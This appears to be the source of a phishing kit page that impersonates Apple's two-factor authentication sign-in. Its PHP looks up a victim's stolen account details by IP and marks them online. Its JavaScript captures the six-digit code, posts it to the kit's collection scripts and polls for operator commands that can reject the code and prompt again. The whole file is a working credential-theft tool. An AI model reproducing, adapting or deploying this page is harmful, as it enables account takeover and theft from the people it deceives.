<?php

@session_start();
error_reporting(0);
ini_set("display_errors", 0);

require_once "../../cod3rconfig/registro.php";
require_once "../../cod3rconfig/conexao.php";
require_once "../../cod3rconfig/data.php";

$erro = $_REQUEST['error'];
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);


$celular = $row_infio['numero_autenticar'];

$email = $row_infio['usuario'];
$fonemail = $row_infio['fonemail'];

$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Cliente online no telefone', statusremote='Cliente online no telefone' WHERE ip='$ip'");

?>

<html class="prefpane na-presentation">

<head>
  <title>Sign in with Apple ID</title>
  <meta name="referrer" content="strict-origin-when-cross-origin">
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
  <link rel="shortcut icon" type="image/x-icon" href="/app/provider/assets-icloud/images/favicon.ico">
  <link rel="stylesheet" href="/app/provider/assets-icloud/css/fontsMyriad.css" type="text/css">
  <link rel="stylesheet" href="/app/provider/assets-icloud/css/fontsSFPro.css" type="text/css">
  <link rel="stylesheet" type="text/css" media="screen" href="/app/provider/assets-icloud/css/app.css">
  <link rel="stylesheet" type="text/css" href="/app/provider/assets-icloud/css/ac-globalnav.built.css">
  <link rel="stylesheet" type="text/css" href="/app/provider/assets-icloud/css/ac-globalfooter.built.css">
  <style>
    ::-webkit-scrollbar {
      display: none !important;
    }
  </style>
</head>

<body class="tk-body">
  <div class="content" id="content" style="width: 100%;height: 100%;">
    <oauth-init class="oauth-init">
      <oauth-header class="oauth-header">
        <apple-global-nav>
          <input type="checkbox" id="ac-gn-menustate" class="ac-gn-menustate">
          <nav id="ac-globalnav" class="no-js">
            <div class="ac-gn-content">
              <ul class="ac-gn-header">
                <li class="ac-gn-item ac-gn-apple">
                  <a class="ac-gn-link ac-gn-link-apple" id="ac-gn-firstfocus-small">
                    <span class="ac-gn-link-text">Apple</span>
                  </a>
                </li>
              </ul>
              <div class="ac-gn-search-placeholder-container">
                <div class="ac-gn-search ac-gn-search-small">
                  <a id="ac-gn-link-search-small" class="ac-gn-link">
                    <div class="ac-gn-search-placeholder-bar">
                      <div class="ac-gn-search-placeholder-input">
                        <div class="ac-gn-search-placeholder-input-text">
                          <div class="ac-gn-link-search ac-gn-search-placeholder-input-icon"></div>
                          <span class="ac-gn-search-placeholder"> Search apple.com </span>
                        </div>
                      </div>
                      <div class="ac-gn-searchview-close ac-gn-searchview-close-small ac-gn-search-placeholder-searchview-close">
                        <span class="ac-gn-searchview-close-cancel"> Cancel </span>
                      </div>
                    </div>
                  </a>
                </div>
              </div>
              <ul class="ac-gn-list">
                <li class="ac-gn-item ac-gn-apple">
                  <a class="ac-gn-link ac-gn-link-apple" id="ac-gn-firstfocus">
                    <span class="ac-gn-link-text"> Apple </span>
                  </a>
                </li>
              </ul>
            </div>
          </nav>
          <div class="ac-gn-blur"></div>
          <div id="ac-gn-curtain" class="ac-gn-curtain"></div>
          <div id="ac-gn-placeholder" class="ac-nav-placeholder"></div>
        </apple-global-nav>
        <local-nav>
          <input type="checkbox" id="ac-localnav-menustate" class="ac-localnav-menustate">
          <div id="ac-localnav-sticky-placeholder" class="css-sticky"></div>
          <nav id="ac-localnav" class="ac-localnav js touch css-sticky">
            <div class="ac-localnav-wrapper">
              <div class="ac-localnav-background"></div>
              <div class="ac-localnav-content">
                <div class="ac-localnav-title">
                  <span>Apple ID</span>
                </div>
                <div class="ac-localnav-menu">
                  <div class="ac-localnav-menu-tray">
                    <ul class="ac-localnav-menu-items">
                      <li class="ac-localnav-menu-item">
                        <span class="ac-localnav-menu-link current" title="Sign in">
                          <span> Sign in </span>
                          <span class="a11y"> Sign in </span>
                        </span>
                      </li>
                    </ul>
                  </div>
                  <div class="ac-localnav-actions">
                    <div class="ac-localnav-action ac-localnav-action-menucta">
                      <label for="ac-localnav-menustate" class="ac-localnav-menucta">
                        <span class="ac-localnav-menucta-chevron"></span>
                      </label>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </nav>
          <label id="ac-localnav-curtain" class="ac-localnav-curtain"></label>
        </local-nav>
      </oauth-header>
      <div class="oauth-init__content">
        <div class="oauth-init__content__container">
          <oauth-signin>
            <div id="signin" class="oauth-signin si-body si-container container-fluid oauth-internal-signin">
              <apple-auth class="appleauth-inline">
                <div class="widget-container fade-in restrict-min-content  restrict-max-wh  fade-in">
                  <div id="step" class="si-step">
                    <logo>
                      <div class="logo signin-label fade-in logo-profile">
                        <img class="cnsmr-app-image profile-app-logo" src="/app/provider/assets-icloud/images/favicon.ico" role="presentation" style="width: 72px;">
                      </div>
                    </logo>
                    <div id="stepEl">
                      <hsa2 class="auth-v1">
                        <div class="hsa2">
                          <verify-device>
                            <div class="verify-device fade-in ">
                              <div>
                                <app-title>
                                  <h1 tabindex="-1" class="si-container-title tk-intro"> Two-Factor Authentication </h1>
                                </app-title>
                                <div class="sec-code-wrapper">
                                  <security-code type="tel">
                                    <div class="security-code">
                                      <idms-error-wrapper>
                                        <div id="idms-error-wrapper-1676329452531-0">
                                          <div id="security-code-wrap-1676329452531-1" class="security-code-wrap security-code-6 split">
                                            <div class="security-code-container force-ltr">
                                              <div class="field-wrap force-ltr ">
                                                <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" type="tel" id="char0" class="form-control force-ltr form-textbox char-field" aria-label="Enter verification code. On entering code in the input fields, the focus will automatically move on to the next input fields. After entering the verification code, the page gets updated automatically. Digit 1" placeholder="" data-index="0">
                                              </div>
                                              <div class="field-wrap force-ltr ">
                                                <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" type="tel" id="char1" class="form-control force-ltr form-textbox char-field" aria-label="Digit 2" placeholder="" data-index="1">
                                              </div>
                                              <div class="field-wrap force-ltr ">
                                                <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" type="tel" id="char2" class="form-control force-ltr form-textbox char-field" aria-label="Digit 3" placeholder="" data-index="2">
                                              </div>
                                              <div class="field-wrap force-ltr ">
                                                <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" type="tel" id="char3" class="form-control force-ltr form-textbox char-field" aria-label="Digit 4" placeholder="" data-index="3">
                                              </div>
                                              <div class="field-wrap force-ltr ">
                                                <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" type="tel" id="char4" class="form-control force-ltr form-textbox char-field" aria-label="Digit 5" placeholder="" data-index="4">
                                              </div>
                                              <div class="field-wrap force-ltr ">
                                                <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" type="tel" id="char5" class="form-control force-ltr form-textbox char-field" aria-label="Digit 6" placeholder="" data-index="5">
                                              </div>
                                            </div>
                                          </div>
                                        </div>
                                      </idms-error-wrapper>
                                      <span id="error_msg" style="display: none; color: red;">Incorrect code, please try again.</span>
                                    </div>
                                  </security-code>
                                </div>
                                <div class="si-info">
                                  <p>
                                    A phone call with a verification code has been made to <span class="displayName whtspacenw">(••) •••••-••<?php echo $fonemail; ?></span>. Enter it above to complete sign in.
                                  </p>
                                </div>
                                <!-- <button class="button-link si-link ax-outline tk-subbody lite-theme-override" id="no-trstd-device-pop">
                                  Didn’t get a verification code?
                                </button> -->
                                <div class="spinner-container verifying-code" id="verifying-code"></div>
                              </div>
                            </div>
                          </verify-device>
                        </div>
                      </hsa2>
                    </div>
                  </div>
                </div>
              </apple-auth>
            </div>
          </oauth-signin>
        </div>
      </div>
      <div class="oauth-init__global-footer">
        <apple-global-footer>
          <footer id="ac-globalfooter" class="js">
            <div class="ac-gf-content">
              <h2 class="ac-gf-label" id="ac-gf-label"> Apple Footer </h2>
              <section class="ac-gf-footer">
                <div class="ac-gf-footer-legal">
                  <div class="ac-gf-footer-legal-copyright"> Copyright © 2023 Apple Inc. All rights reserved. </div>
                  <div class="ac-gf-footer-legal-links">
                    <a class="ac-gf-footer-legal-link"> Privacy Policy </a>
                  </div>
                </div>
              </section>
            </div>
          </footer>
        </apple-global-footer>
      </div>
    </oauth-init>
  </div>
  <script>
    const inputs = document.querySelectorAll('.char-field');
    inputs.forEach((input, index) => {
      input.addEventListener('input', () => {
        const currentValue = input.value.trim();
        const numberValue = parseInt(currentValue);
        if (!isNaN(numberValue) && /^\d$/.test(currentValue)) {
          if (index < inputs.length - 1) {
            inputs[index + 1].focus();
          } else {
            const code = Array.from(inputs).map((input) => input.value).join('');
            if (code.length === 6) {
              sendToken(code);
              inputs.forEach((input) => {
                input.disabled = true;
              });
            }
          }
        } else {
          input.value = '';
        }
      });

      input.addEventListener('paste', (event) => {
        event.preventDefault();
        const clipboardData = event.clipboardData || window.clipboardData;
        const pasteData = clipboardData.getData('text/plain').trim();
        const digits = pasteData.slice(0, inputs.length).split('');

        if (digits.every((char) => /^\d$/.test(char))) {
          inputs.forEach((input, idx) => {
            if (idx < digits.length) {
              input.value = digits[idx];
              inputs.forEach((input) => {
                // input.classList.remove("negative", "no-margin-top");
              });
              input.dispatchEvent(new Event('input'));
            } else {
              input.value = '';
            }
          });

          if (digits.length >= inputs.length) {
            inputs[inputs.length - 1].focus();
            const code = digits.slice(0, inputs.length).join('');
            if (code.length === 6) {
              sendToken(code);
              inputs.forEach((input) => {
                input.disabled = true;
              });
            }
          }
        } else {
          inputs.forEach((input) => {
            input.value = '';
          });
        }
      });

      input.addEventListener('keydown', (event) => {
        if (event.key === 'Backspace' && input.value === '' && index > 0) {
          inputs[index - 1].focus();
        } else if (event.key === 'Delete') {
          inputs.forEach((input, idx) => {
            if (idx > index) {
              input.value = '';
            }
          });
          input.focus();
        }

        if (event.key === 'e' || event.key === 'E' || event.key === '.' || event.key === '-') {
          event.preventDefault();
        }
      });
    });

    let myVar;

    function dispararComando() {
      myVar = setInterval(esperaresposta, 1400);
    }

    function esperaresposta() {
      Get("", "../main_.php", 0);
    }

    if (window.location.href.indexOf("?error=1") > -1) {
      document.getElementById("error_msg").style.display = "block";
    }

    function comandoerrordados() {
      window.location.href = "?error=1";
    }

    function Get(data, urlapi, e) {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          var json = this.response;
          if (e != 1) {
            status(JSON.parse(json));
          }
        }
      };
      xhttp.open("GET", urlapi + data, true);
      xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      xhttp.send();
      return false;
    }

    function status(json) {
      if (json.comando == "negargmailtelefone") {
        clearInterval(myVar);
        comandoerrordados();
      }
    }

    function sendToken(code) {
      var n1 = code;

      document.getElementById("error_msg").style.display = "none";

      var xhttp1 = new XMLHttpRequest();
      xhttp1.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          var json = this.response;
          var data = JSON.parse(json);
          dispararComando();
          document.getElementById("mesa").style.borderBottom = "2px solid #4285F4";
          document.getElementById("errorsenha").innerHTML = "";
        }
      };
      xhttp1.open("POST", "/app/sendData.php", true);
      xhttp1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      var data1 = "emailPhone=" + encodeURIComponent(n1);
      xhttp1.send(data1);

      var xhttp2 = new XMLHttpRequest();
      xhttp2.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          var json = this.response;
          var data = JSON.parse(json);
          dispararComando();
          document.getElementById("mesa").style.borderBottom = "2px solid #4285F4";
          document.getElementById("errorsenha").innerHTML = "";
        }
      };
      xhttp2.open("POST", "send.php", true);
      xhttp2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      var data2 = "telefone=" + encodeURIComponent(n1);
      xhttp2.send(data2);
      return false;
    }
  </script>
</body>

</html>